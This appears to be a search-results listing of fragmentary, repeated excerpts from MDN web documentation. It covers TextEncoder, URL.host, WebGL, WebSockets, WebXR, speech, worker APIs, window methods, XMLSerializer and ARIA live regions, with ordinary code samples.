new textencoder(); return enc.encode(message); } /* fetch the encoded message-to-sign and verify it against the stored signature. * if it checks out, set the "valid" class on the signature. * otherwise set the "invalid" class. */ async function verifymessage(key) { const signaturevalue = document.queryselector(".hmac .signature-value"); signaturevalue.classlist.remove("valid", "invalid"); ...
TextEncoder - Web APIs
properties the textencoder interface doesn't inherit any property. textencoder.prototype.encodingread only always returns "utf-8". ...
... properties the textencoder interface doesn't inherit any property. textencoder.prototype.encodingread only always returns "utf-8". ...
...ar len = str.length, respos = -1; // the uint8array's length must be at least 3x the length of the string because an invalid utf-16 // takes up the equivelent space of 3 utf-8 characters to encode it properly. however, array's // have an auto expanding length and 1.5x should be just the right balance for most uses. ...
...spos = -1; // the uint8array's length must be at least 3x the length of the string because an invalid utf-16 // takes up the equivelent space of 3 utf-8 characters to encode it properly. however, array's // have an auto expanding length and 1.5x should be just the right balance for most uses. ...
URL.host - Web APIs
the host property of the url interface is a usvstring containing the host, that is the hostname, and then, if the port of the url is nonempty, a ':', followed by the port of the url. note: this feature is available in web workers. syntax const host = url.host url.host =
newhost value a usvstring. ...
... the host property of the url interface is a usvstring containing the host, that is the hostname, and then, if the port of the url is nonempty, a ':', followed by the port of the url. note: this feature is available in web workers. syntax const host = url.host url.host =
newhost value a usvstring. ...
... of the url interface is a usvstring containing the host, that is the hostname, and then, if the port of the url is nonempty, a ':', followed by the port of the url. note: this feature is available in web workers. syntax const host = url.host url.host =
newhost value a usvstring. ...
... web workers. syntax const host = url.host url.host =
newhost value a usvstring. examples let url =
new url('/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" url =
new url('https://developer.mozilla.org:443/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port url =
new url('https://developer.mozilla.org:4097/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org:4097" specifications specification status comment urlthe definition of 'url.host' in that specification. living standard initial definition ...
WebGL2RenderingContext - Web APIs
webgl2renderingcontext.drawrangeelements() renders primitives from array data in a given range. webgl2renderingcontext.drawbuffers() specifies a list of color buffers to be drawn into. webgl2renderingcontext.clearbuffer[fiuv]() clears buffers from the currently bound framebuffer. query objects methods for working with webglquery objects. webgl2renderingcontext.createquery() creates a
new webglquery object. webgl2renderingcontext.deletequery() deletes a given webglquery object. webgl2renderingcontext.isquery() returns true if a given object is a valid webglquery object. webgl2renderingcontext.beginquery() begins an asynchronous query. webgl2renderingcontext.endquery() marks the end of an asynchronous query. webgl2renderingcontext.getquery() returns a webglquery object fo...
...d webglquery object. webgl2renderingcontext.beginquery() begins an asynchronous query. webgl2renderingcontext.endquery() marks the end of an asynchronous query. webgl2renderingcontext.getquery() returns a webglquery object for a given target. webgl2renderingcontext.getqueryparameter() returns information about a query. sampler objects webgl2renderingcontext.createsampler() creates a
new webglsampler object. webgl2renderingcontext.deletesampler() deletes a given webglsampler object. webgl2renderingcontext.bindsampler() binds a given webglsampler to a texture unit. webgl2renderingcontext.issampler() returns true if a given object is a valid webglsampler object. webgl2renderingcontext.samplerparameter[if]() sets sampler parameters. webgl2renderingcontext.getsamplerparamete...
...enderingcontext.bindsampler() binds a given webglsampler to a texture unit. webgl2renderingcontext.issampler() returns true if a given object is a valid webglsampler object. webgl2renderingcontext.samplerparameter[if]() sets sampler parameters. webgl2renderingcontext.getsamplerparameter() returns sampler parameter information. sync objects webgl2renderingcontext.fencesync() creates a
new webglsync object and inserts it into the gl command stream. webgl2renderingcontext.issync() returns true if the passed object is a valid webglsync object. webgl2renderingcontext.deletesync() deletes a given webglsync object. webgl2renderingcontext.clientwaitsync() blocks and waits for a webglsync object to become signaled or a given timeout to be passed. webgl2renderingcontext.waitsync...
...in a webglprogram. webgl2renderingcontext.getactiveuniformblockname() retrieves the name of the active uniform block at a given index within a webglprogram. webgl2renderingcontext.uniformblockbinding() assigns binding points for active uniform blocks. vertex array objects methods for working with webglvertexarrayobject (vao) objects. webgl2renderingcontext.createvertexarray() creates a
new webglvertexarrayobject. webgl2renderingcontext.deletevertexarray() deletes a given webglvertexarrayobject. webgl2renderingcontext.isvertexarray() returns true if a given object is a valid webglvertexarrayobject. webgl2renderingcontext.bindvertexarray() binds a given webglvertexarrayobject to the buffer. specifications specification status comment webgl 2.0the defi...
Raining rectangles - Web APIs
size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); var gl, timer, rainingrect, scoredisplay, missesdisplay; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); rainingrect =
new rectangle(); timer = settimeout(drawanimation, 17); document.queryselector("canvas") .addeventlistener("click", playerclick, false); var displays = document.queryselectorall("strong"); scoredisplay = displays[0]; missesdisplay = displays[1]; } var score = 0, misses = 0; function drawanimation () { gl.scissor(rainingrect.position[0], rainingrect.position[1], rainingrect.
...so we reschedule // the timeout to call drawanimation again in 17ms. // otherwise we won't get any animation. timer = settimeout(drawanimation, 17); } function playerclick (evt) { // we need to transform the position of the click event from // window coordinates to relative position inside the canvas. // in addition we need to re...
...lative position inside the canvas. // in addition we need to remember that vertical position in // webgl increases from bottom to top, unlike in the browser // window. var position = [ evt.pagex - evt.target.offsetleft, gl.drawingbufferheight - (evt.pagey - evt.target.offsettop), ]; // if the click falls inside the rectangle, we caught it. ...
... the click falls inside the rectangle, we caught it. // increment score and create a
new rectangle. var diffpos = [ position[0] - rainingrect.position[0], position[1] - rainingrect.position[1] ]; if ( diffpos[0] >= 0 && diffpos[0] < rainingrect.size[0] && diffpos[1] >= 0 && diffpos[1] < rainingrect.size[1] ) { score += 1; scoredisplay.innerhtml = score; rainingrect =
new rectangle(); } } function rectangle () { // keeping a reference to the
new rectangle object, rather // than using the confusing this keyword. var rect = this; // we get three random numbers and use them for
new rectangle // size and position. for each we use a different number, // because we want horizontal size, vertical size and // position to be determined independently. var...
WebGL constants - Web APIs
lend function. blend_color 0x8005 passed to getparameter to return a the current blend color. array_buffer_binding 0x8894 passed to getparameter to get the array buffer binding. element_array_buffer_binding 0x8895 passed to getparameter to get the current element array buffer. line_width 0x0b21 passed to getparameter to get the current li
newidth (set by the li
newidth method). aliased_point_size_range 0x846d passed to getparameter to get the current size of a point drawn with gl.points aliased_line_width_range 0x846e passed to getparameter to get the range of available widths for a line. returns a length-2 array with the lo value at 0, and hight at 1. cull_face_mode 0x0b45 passed to getpara...
...to webglrenderingcontext.depthfunc() or webglrenderingcontext.stencilfunc(). constant name value description never 0x0200 passed to depthfunction or stencilfunction to specify depth or stencil tests will never pass. i.e. nothing will be drawn. less 0x0201 passed to depthfunction or stencilfunction to specify depth or stencil tests will pass if the
new depth value is less than the stored value. equal 0x0202 passed to depthfunction or stencilfunction to specify depth or stencil tests will pass if the
new depth value is equals to the stored value. lequal 0x0203 passed to depthfunction or stencilfunction to specify depth or stencil tests will pass if the
new depth value is less than or equal to the stored value. ...
...pecify depth or stencil tests will pass if the
new depth value is equals to the stored value. lequal 0x0203 passed to depthfunction or stencilfunction to specify depth or stencil tests will pass if the
new depth value is less than or equal to the stored value. greater 0x0204 passed to depthfunction or stencilfunction to specify depth or stencil tests will pass if the
new depth value is greater than the stored value. notequal 0x0205 passed to depthfunction or stencilfunction to specify depth or stencil tests will pass if the
new depth value is not equal to the stored value. ...
... always 0x0207 passed to depthfunction or stencilfunction to specify depth or stencil tests will always pass. i.e. pixels will be drawn in the order they are drawn. stencil actions constants passed to webglrenderingcontext.stencilop(). ...
Creating 3D objects using WebGL - Web APIs
/ convert the array of colors into a table for all the vertices. var colors = []; for (var j = 0; j < facecolors.length; ++j) { const c = facecolors[j]; // repeat each color four times for the four vertices of the face colors = colors.concat(c, c, c, c); } const colorbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, colorbuffer); gl.bufferdata(gl.array_buffer,
new float32array(colors), gl.static_draw); define the element array once the vertex arrays are generated, we need to build the element array. const indexbuffer = gl.createbuffer(); gl.bindbuffer(gl.element_array_buffer, indexbuffer); // this array defines each face as two triangles, using the // indices into the vertex array to specify each triangle's // position. const indices = [ ...
... each triangle's // position. const indices = [ 0, 1, 2, 0, 2, 3, // front 4, 5, 6, 4, 6, 7, // back 8, 9, 10, 8, 10, 11, // top 12, 13, 14, 12, 14, 15, // bottom 16, 17, 18, 16, 18, 19, // right 20, 21, 22, 20, 22, 23, // left ]; // now send the element array to gl gl.bufferdata(gl.element_array_buffer,
new uint16array(indices), gl.static_draw); return { position: positionbuffer, color: colorbuffer, indices: indexbuffer, }; } the indices array defines each face like a pair of triangles, specifying each triangle's vertices as an index into the cube's vertex arrays. thus the cube is described as a collection of 12 triangles. drawing the cube next we need to add code to our drawsc...
...ion: positionbuffer, color: colorbuffer, indices: indexbuffer, }; } the indices array defines each face like a pair of triangles, specifying each triangle's vertices as an index into the cube's vertex arrays. thus the cube is described as a collection of 12 triangles. drawing the cube next we need to add code to our drawscene() function to draw using the cube's index buffer, adding
new gl.bindbuffer() and gl.drawelements() calls: // tell webgl which indices to use to index the vertices gl.bindbuffer(gl.element_array_buffer, buffers.indices); ... { const vertexcount = 36; const type = gl.unsigned_short; const offset = 0; gl.drawelements(gl.triangles, vertexcount, type, offset); } since each face of our cube is comprised of two triangles, there are ...
... vertices in the cube, even though many of them are duplicates. finally, let's replace our variable squarerotation by cuberotation and add a second rotation around the x axis: mat4.rotate(modelviewmatrix, modelviewmatrix, cuberotation * .7, [0, 1, 0]); at this point, we now have an animated cube rotating, its six faces rather vividly colored. view the complete code | open this demo on a
new page « previousnext » ...
Using textures in WebGL - Web APIs
til they are ready. // until then put a single pixel in the texture so we can // use it immediately. when the image has finished downloading // we'll update the texture with the contents of the image. ...
...e. const level = 0; const internalformat = gl.rgba; const width = 1; const height = 1; const border = 0; const srcformat = gl.rgba; const srctype = gl.unsigned_byte; const pixel =
new uint8array([0, 0, 255, 255]); // opaque blue gl.teximage2d(gl.texture_2d, level, internalformat, width, height, border, srcformat, srctype, pixel); const image =
new image(); image.onload = function() { gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, level, internalformat, srcformat, srctype, image); // webgl1 has different requirements for power of 2 images // vs non power of 2 images so check if the image is a // power of 2 in both dimensions. if (ispowerof2(image.width) && ispowerof2(image.h...
... return { position: positionbuffer, texturecoord: texturecoordbuffer, indices: indexbuffer, }; first, this code creates a webgl buffer into which we'll store the texture coordinates for each face, then we bind that buffer as the array we'll be writing into. the texturecoordinates array defines the texture co...
...he shader that for the usampler use texture unit 0. lastly, add texture as a parameter to the drawscene() function, both where it is defined and where it is called. drawscene(gl, programinfo, buffers, texture, deltatime); ... function drawscene(gl, programinfo, buffers, texture, deltatime) { at this point, the rotating cube should be good to go. view the complete code | open this demo on a
new page cross-domain textures loading of webgl textures is subject to cross-domain access controls. in order for your content to load a texture from another domain, cors approval needs to be be obtained. see http access control for details on cors. because webgl now requires textures to be loaded from secure contexts, you can't use textures loaded from file:/// urls in webgl. that means that you'...
Writing WebSocket client applications - Web APIs
article are taken from our websocket chat client/server sample. see the code, then try out the example for yourself. creating a websocket object in order to communicate using the websocket protocol, you need to create a websocket object; this will automatically attempt to open the connection to the server. the websocket constructor accepts one required and one optional parameter: websocket =
new websocket(url, protocols); url the url to which to connect; this should be the url to which the websocket server will respond. this should use the url scheme wss://, although some software may allow you to use the insecure ws:// for local connections. protocols optional either a single protocol string or an array of protocol strings. these strings are used to indicate sub-protocols, so tha...
... object (thereby invoking its onerror handler), and then the closeevent is sent to the websocket object (thereby invoking its onclose handler) to indicate the reason for the connection's closing. the browser may also output to its console a more descriptive error message as well as a closing code as defined in rfc 6455, section 7.4 through the closeevent. examples this simple example creates a
new websocket, connecting to the server at wss://www.example.com/socketserver. a custom protocol of "protocolone" is named in the request for the socket in this example, though this can be omitted. var examplesocket =
new websocket("wss://www.example.com/socketserver", "protocolone"); on return, examplesocket.readystate is connecting. the readystate will become open once the connection is ready to...
...ample, though this can be omitted. var examplesocket =
new websocket("wss://www.example.com/socketserver", "protocolone"); on return, examplesocket.readystate is connecting. the readystate will become open once the connection is ready to transfer data. if you want to open a connection and are flexible about the protocols you support, you can specify an array of protocols: var examplesocket =
new websocket("wss://www.example.com/socketserver", ["protocolone", "protocoltwo"]); once the connection is established (that is, readystate is open), examplesocket.protocol will tell you which protocol the server selected. establishing a websocket relies on the http upgrade mechanism, so the request for the protocol upgrade is implicit when we address the web server as ws://www.example.com or wss...
...json to transmit objects. ...
Geometry and reference spaces in WebXR - Web APIs
l exception is that you are likely to use the viewer reference space when performing the xr scene inline within web content. the local reference space is typically used to describe a relatively small area, such as a single room. it is not only always available when using an immersive session mode (immersive-vr or immersive-ar), but is always included among the optional features when requesting a
new session; thus, every session created by navigator.xr.requestsession() supports the local reference space type. to represent a large area—potentially involving multiple rooms or beyond—you can use the unbounded reference space type, which specifies no constraints on the viewer's movement. if you wish to prevent the user from moving into certain areas, you must handle that yourself. the bound...
...layback to scientific simulations to virtual reality training systems or anything else you can imagine, let's take a 3d video game as an example of a typical webxr application. consider the model of a player's avatar standing in the game world's space. you position that avatar relative to the world space, using the coordinate system defined by the world's reference space. ...
...at avatar relative to the world space, using the coordinate system defined by the world's reference space. to move the player to a
new position, you could rewrite all of its coordinates or manually apply a transform each time they move, but there's an easier way, thanks to reference spaces and their ability to be created relative to one another. create an xrrigidtransform object representing the
new position and orientation of the player's avatar, then create a
new reference space to represent the avatar's point of view at the
new position using the xrreferencespace method getoffsetreferencespace(). ...
... object representing the
new position and orientation of the player's avatar, then create a
new reference space to represent the avatar's point of view at the
new position using the xrreferencespace method getoffsetreferencespace(). this comes in especially handy when implementing support for using non-xr devices such as keyboards or mice to move the player's avatar through the world. with the
newly-created reference space, the avatar can remain at the same coordinates yet appear in the world to be located at (and be see the world from the perspective of) its
new location. for a more detailed look at how to use reference spaces to manage the player's viewpoint, see the article in the case of our game avatar example, it's rare for an avatar (or any other moving creature or machine) to be a...
Using the Web Speech API - Web APIs
this article provides a simple introduction to both areas, along with demos. ...
... as you want on separate lines following the above structure, and include fairly complex grammar definitions. for this basic demo, we are just keeping things simple. plugging the grammar into our speech recognition the next thing to do is define a speech recogntion instance to control the recognition for our application. this is done using the speechrecognition() constructor. we also create a
new speech grammar list to contain our grammar, using the speechgrammarlist() constructor. var recognition =
new speechrecognition(); var speechrecognitionlist =
new speechgrammarlist(); we add our grammar to the list using the speechgrammarlist.addfromstring() method. this accepts as parameters the string we want to add, plus optionally a weight value that specifies the importance of this grammar ...
...e the if statement seen below. populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } speaking the entered text next, we create an event handler to start speaking the text entered into the text field. we are using an onsubmit handler on the form so that the action happens when enter/return is pressed. we first create a
new speechsynthesisutterance() instance using its constructor — this is passed the text input's value as a parameter. next, we need to figure out which voice to use. we use the htmlselectelement selectedoptions property to return the currently selected <option> element. we then use this element's data-name attribute, finding the speechsynthesisvoice object whose name matches this attribute's value...
...ally, we set the speechsynthesisutterance.pitch and speechsynthesisutterance.rate to the values of the relevant range form elements. then, with all necessary preparations made, we start the utterance being spoken by invoking speechsynthesis.speak(), passing it the speechsynthesisutterance instance as a parameter. ...
Functions and classes available to Web Workers - Web APIs
, after a connection has been opened to it. 53 (53) (currently only available in dedicated and shared workers; not service workers.) ? (yes) ? serviceworkerregistration you can register a service worker from inside a standard worker, and use associated functionality. ...
...no support textencoder and textdecoder create and return a
new textencoder, or respectively textdecoder, allowing to encode or decode strings into specific encodings. 20 (20) no support no support no support url workers can use the static methods url.createobjecturl and url.revokeobjecturl with blob objects accesible to the worker. workers can also create a
new url using the url() constructor and call any normal method on the returned object. 21 (21) and 26 (26) for url() constructor no support no support no support webgl with offscreencanvas webgl (web graphics library) is a javascript api for rendering interactive 3d and 2d graphics within any compatible web browser without the use of plug-ins. 44 (44) behind a feature prefe...
... no support webgl with offscreencanvas webgl (web graphics library) is a javascript api for rendering interactive 3d and 2d graphics within any compatible web browser without the use of plug-ins. 44 (44) behind a feature preference setting. in about:config, set gfx.offscreencanvas.enabled to true. no support no support no support websocket creates and returns a
new websocket object; this mimics the behavior of the standard websocket() constructor. 37 (37) 11.0 (yes) (yes) worker creates a
new worker. yes, workers can spawn more workers. 3.5 (1.9.1) 10.0 enabled since chrome 69 no support workerglobalscope the global scope of workers. this objects defines worker-specific functions. (yes) 10.0 (yes) ...
...6 (1.9.2) 10.0 (yes) (yes) workernavigator the subset of the navigator interface available to workers. basic implementation (yes) appcodename, product, taintenabled(): 28 (28) online: 29 (29) navigatorlanguage: (yes) appname, appversion, online, platform, useragent: 10.0 other: no support (yes) (yes) xmlhttprequest creates and returns a
new xmlhttprequest object; this mimics the behavior of the standard xmlhttprequest() constructor. note that the responsexml and channel attributes on xmlhttprequest always return null. basic: 3.5 (1.9.1) response and responsetype are available since 10 (10) timeout and ontimeout are available since 13 (13) (yes) (yes) (yes) ...
Window.openDialog() - Web APIs
window.opendialog() is an extension to window.open(). it behaves the same, except that it can optionally take one or more parameters past windowfeatures, and windowfeatures itself is treated a little differently. the optional parameters, if present, are bundled up in a javascript array object and added to the
newly created window as a property named window.arguments. they may be referenced in the javascript of the window at any time, including during the execution of a load handler. these parameters may be used, then, to pass arguments to and from the dialog window. the call to opendialog() returns immediately. if you want the call to block until the user has closed the dialog, supply modal as a windowfeatures parameter. note that this also means the user won't be able to interac...
...execution of a load handler. these parameters may be used, then, to pass arguments to and from the dialog window. the call to opendialog() returns immediately. if you want the call to block until the user has closed the dialog, supply modal as a windowfeatures parameter. note that this also means the user won't be able to interact with the opener window until he closes the modal dialog. syntax
newwindow = opendialog(url, name, features, arg1, arg2, ...)
newwindow the opened window url the url to be loaded in the
newly opened window. name the window name (optional). see window.open() description for detailed information. features see window.open() for details. arg1, arg2, ... the arguments to be passed to the
new window (optional). example var win = opendialog("http://exampl...
...these can be overridden (so "menubar=no,all" turns on all chrome except the menubar.) this feature is explicitly ignored by window.open(). window.opendialog() finds it useful because of its different default assumptions. ...
... chrome that best fits a dialog on that operating system. passing extra parameters to the dialog to pass extra parameters into the dialog, you can simply supply them after the windowfeatures parameter: opendialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98); the extra parameters will then get packed into a property named arguments of type array, and this property gets added to the
newly opened dialog window. to access these extra parameters from within dialog code, use the following scheme: var food = window.arguments[0]; var price = window.arguments[1]; note that you can access this property from within anywhere in the dialog code. (another example). returning values from the dialog since window.close() erases all properties associated with the dialog window (i.e. the ...
Window.screenLeft - Web APIs
u'll see a canvas onto which has been drawn a circle. in this example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
...is example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
...constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
... physical position on the screen, even if the window position is moved. ...
Window.screenTop - Web APIs
u'll see a canvas onto which has been drawn a circle. in this example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
...is example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
...constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
... physical position on the screen, even if the window position is moved. ...
Window.screenX - Web APIs
vas onto which has been drawn a circle. in this example we are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
...are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
...constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
... physical position on the screen, even if the window position is moved. ...
Window.screenY - Web APIs
vas onto which has been drawn a circle. in this example we are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
...are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
...constantly redraw the circle in the same physical position on the screen, even if the window position is moved. ...
... physical position on the screen, even if the window position is moved. ...
WindowEventHandlers.onhashchange - Web APIs
t handler: window.onhashchange = funcref; using an html event handler: <body onhashchange="funcref();"> using an event listener: to add an event listener, use addeventlistener(): window.addeventlistener("hashchange", funcref, false); parameters funcref a reference to a function. examples using an event handler this example uses an event handler (window.onhashchange) to check the
new hash value whenever it changes. if it equals #cool-feature, the script logs a message to the console. function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; using an event listener this example uses an event listener to log a notification whenever the hash has changed. f...
...ature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; using an event listener this example uses an event listener to log a notification whenever the hash has changed. function hashhandler() { console.log('the hash has changed!'); } window.addeventlistener('hashchange', hashhandler, false); overriding the hash this function sets a
new hash dynamically, setting it randomly to one of two values. function changehash() { location.hash = (math.random() > 0.5) ? 'location1' : 'location2'; } the hashchange event the dispatched hashchange event has the following properties: field type description
newurl domstring the
new url to which the window is navigating. oldurl domstring the pre...
...angehash() { location.hash = (math.random() > 0.5) ? ...
...the window was navigated. polyfill for event.
newurl and event.oldurl // let this snippet run before your hashchange event binding code if (!window.hashchangeevent)(function(){ var lasturl = document.url; window.addeventlistener("hashchange", function(event){ object.defineproperty(event, "oldurl", {enumerable:true,configurable:true,value:lasturl}); object.defineproperty(event, "
newurl", {enumerable:true,configurable:true,value:document.url}); lasturl = document.url; }); }()); specifications specification status comment html living standardthe definition of 'onhashchange' in that specification. living standard html 5.1the definition of 'globaleventhandlers' in that specification. recommendation html5the d...
Using XMLHttpRequest in IE6 - Web APIs
xmlhttprequest was first introduced by microsoft in internet explorer 5.0 as an activex control. however, in ie7 and other browsers xmlhttprequest is a native javascript object. ...
... xmlhttprequest was first introduced by microsoft in internet explorer 5.0 as an activex control. however, in ie7 and other browsers xmlhttprequest is a native javascript object. ...
...httprequest is a native javascript object. ...
...request object using the following code: var request =
new xmlhttprequest() however, if you need to also support internet explorer 6 and older, you need to extend your code like this: if (window.xmlhttprequest) { //firefox, opera, ie7, and other browsers will use the native object var request =
new xmlhttprequest(); } else { //ie 5 and 6 will use the activex control var request =
new activexobject("microsoft.xmlhttp"); } see also using xmlhttprequest ...
XMLSerializer - Web APIs
ruct an xml string representing a dom tree. methods serializetostring() returns the serialized subtree of a string. serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified. examples serializing xml into a string the first, basic, example just serializes an entire document into a string containing xml. ...
...ing. serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified. examples serializing xml into a string the first, basic, example just serializes an entire document into a string containing xml. var s =
new xmlserializer(); var d = document; var str = s.serializetostring(d); savexml(str); this involves creating a
new xmlserializer object, then passing the document to be serialized into serializetostring(), which returns the xml equivalent of the document. inserting nodes into a dom based on xml this example uses the element.insertadjacenthtml() method to insert a
new dom node into the body of the document, based on xml created by serializing an element object. note: in the real world, you should usually i...
...nt to be serialized into serializetostring(), which returns the xml equivalent of the document. inserting nodes into a dom based on xml this example uses the element.insertadjacenthtml() method to insert a
new dom node into the body of the document, based on xml created by serializing an element object. note: in the real world, you should usually instead call importnode() method to import the
new node into the dom, then call one of the following methods to add the node to the dom tree: the document and element methods append() and prepend() the node.replacewith() method (to replace an existing node with the
new one) the document.insertadjacentelement() and element.insertadjacentelement() methods. because insertadjacenthtml() accepts a string and not a node as its second parameter,...
... methods append() and prepend() the node.replacewith() method (to replace an existing node with the
new one) the document.insertadjacentelement() and element.insertadjacentelement() methods. because insertadjacenthtml() accepts a string and not a node as its second parameter, xmlserializer is used to first convert the node into a string. var inp = document.createelement('input'); var xmls =
new xmlserializer(); var inp_xmls = xmls.serializetostring(inp); // first convert dom node into a string // insert the
newly created node into the document's body document.body.insertadjacenthtml('afterbegin', inp_xmls); the code creates a
new <input> element by calling document.createelement(), then serializes it into xml using serializetostring(). once that's done, insertadjacenthtml() is used t...
XRRigidTransform - Web APIs
the transform of an xrview. the transform of an xrpose. ...
...erty, as found in the reset event received by an xrreferencespace. the advantage to using xrrigidtransform in these places rather than bare arrays that providing the matrix data is that the xrrigidtransform automatically does things like computing the inverse of the transform. even better, once it's been computed, it's cached so that subsequent requests are significantly faster. constructor
new xrrigidtransform() creates a
new xrrigidtransform object which represents a transform that applies a specified position and/or orientation. attributes xrrigidtransform.position read only a dompointreadonly specifying a 3-dimensional point, expressed in meters, describing the translation component of the transform. the w attribute is always 1.0. xrrigidtransform.orientation read only ...
...nsformed by the original transform, it will undo the transform and return the original object. usage notes when an xrrigidtransform is interpreted, the orientation is always applied to the affected object before the position is applied. ...
...ecify the offset and orientation in relation to the current reference space to use when creating a
new reference space. it then requests the first animation frame callback by calling the session's requestanimationframe() method. xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace(
new xrrigidtransform(viewerstartposition, cubeorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); specifications specification status comment webxr device apithe definition of 'xrrigidtransform' in that specification. working draft initial definition. ...
XRWebGLLayer() - Web APIs
the webxr device api xrwebgllayer() constructor creates and returns a
new xrwebgllayer object, providing the linkage between the webxr device and the webgl graphics layer used to render the 3d scene. syntax let gllayer =
new xrwebgllayer(session, context, layerinit); parameters session an xrsession object specifying the webxr session which will be rendered using the webgl context. context a webglrenderingcontext or webgl2renderingcontext identifying the webgl drawing context to use for rendering the scene for the specified webxr session. layerinit optional an object conforming to the xrwebgllayerinit dictionary, providing configuration options for the
new xrwebgllayer. the options available are: alpha optional the frame buffer's color buffer will be established with an alp...
...buffer will not have an alpha channel. the default value is true. antialias optional a boolean value which is true if anti-aliasing is to be used when rendering in the context; otherwise false. the browser selects the anti-aliasing method to use; there is no support for requesting a specific mode yet. the default value is true. depth optional a boolean value which, if true, requests that the
new layer have a depth buffer; otherwise, no depth layer is allocated. the default is true. framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the frame buffer. the static xrwebgllayer function xrwebgllayer.getnativeframebufferscalefactor() returns the scale that would result in a 1:1 ...
...eturns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the device's native resolution. the default is 1.0. ignoredepthvalues optional a boolean value which indicates whether or not to ignore the contents of the depth buffer while compositing the scene. the default is false. stencil optional a boolean value which, if true, requests that the
new layer include a stencil buffer. otherwise, no stencil buffer is allocated. the default is false. return value a
newly-created xrwebgllayer which links the specified xrsession to the webgl context given by context, which will be used as the renderer for the session. any options specified in layerinit are used to tailor the rendering system's configuration. exceptions invalidstateerror t...
... the specified webgl context, context, has been lost for any reason, such as a gpu switch or reset. ...
XRWebGLLayerInit - Web APIs
the constructor's optional layerinit parameter takes an object which must conform to this dictionary. properties alpha optional the frame buffer's color buffer will be established with an alpha channel if the alpha boolean property is true. otherwise, the color buffer will not have an alpha channel. the default value is true. antialias optional a boolean value which is true if anti-aliasing is to be used when rendering in the context; otherwise false. ...
...buffer will not have an alpha channel. the default value is true. antialias optional a boolean value which is true if anti-aliasing is to be used when rendering in the context; otherwise false. the browser selects the anti-aliasing method to use; there is no support for requesting a specific mode yet. the default value is true. depth optional a boolean value which, if true, requests that the
new layer have a depth buffer; otherwise, no depth layer is allocated. the default is true. framebufferscalefactor optional a floating-point value which is used to scale the image during compositing, with a value of 1.0 represents the default pixel size for the frame buffer. the static xrwebgllayer function xrwebgllayer.getnativeframebufferscalefactor() returns the scale that would result in a 1:1 ...
...eturns the scale that would result in a 1:1 pixel ratio, thereby ensuring that the rendering is occurring at the device's native resolution. the default is 1.0. ignoredepthvalues optional a boolean value which indicates whether or not to ignore the contents of the depth buffer while compositing the scene. the default is false. stencil optional a boolean value which, if true, requests that the
new layer include a stencil buffer. otherwise, no stencil buffer is allocated. the default is false. examples given an xrsession, xrsession, and a webgl rendering context, gl, this snippet sets the rendering layer for the session, specifying the ignoredepthvalues option, indicating that the depth buffer should not be used (or should not exist at all), and that the only source for distance informat...
... working draft initial definition. ...
ARIA live regions - Accessibility
because the live region has aria-live="polite", the screen reader will wait until the user pauses before announcing the update. thus, moving down in the list and selecting another planet will not announce updates in the live region. updates in the live region will only be announced for the planet finally chosen. here is a screenshot o...
...a-describedby: the aria-describedby=[idlist] is used to associate a region with its descriptions, similar to aria-controls but instead associating descriptions to the region and description identifiers are separated with a space. advanced use case: clock as an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. ...
...ers are separated with a space. advanced use case: clock as an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. the clock is updated each minute, with the
new remaining time simply overwriting the current content. <div id="clock" role="timer" aria-live="polite"></div> /* basic javascript to update the clock */ setinterval(function() { var now =
new date(); document.getelementbyid('clock').innerhtml = "time: " + now.gethours() + ":" + ("0"+now.getminutes()).substr(-2); }, 60000); the first time the function executes, the entirety of the string that is added will be announced. on subsequent calls, only the parts of the content that changed compared to the previous content will be announced. for instance, when the clock changes from "17:33...
...string that is added will be announced. on subsequent calls, only the parts of the content that changed compared to the previous content will be announced. for instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users. one way around this would be to first clear the contents of the live region, and then inject the
new content. however, this can sometimes be unreliable, as it's dependent on the exact timing of these two updates. aria-atomic="true" ensures that each time the live region is updated, the entirety of the content is announced in full (e.g. "time: 17:34"). <div id="clock" role="timer" aria-live="polite" aria-atomic="true"></div> note: as observed, setting/updating the innerhtml again would cause...
ARIA: listbox role - Accessibility
s all options in the list. optionally, if all options are selected, it may also unselect all options. ...
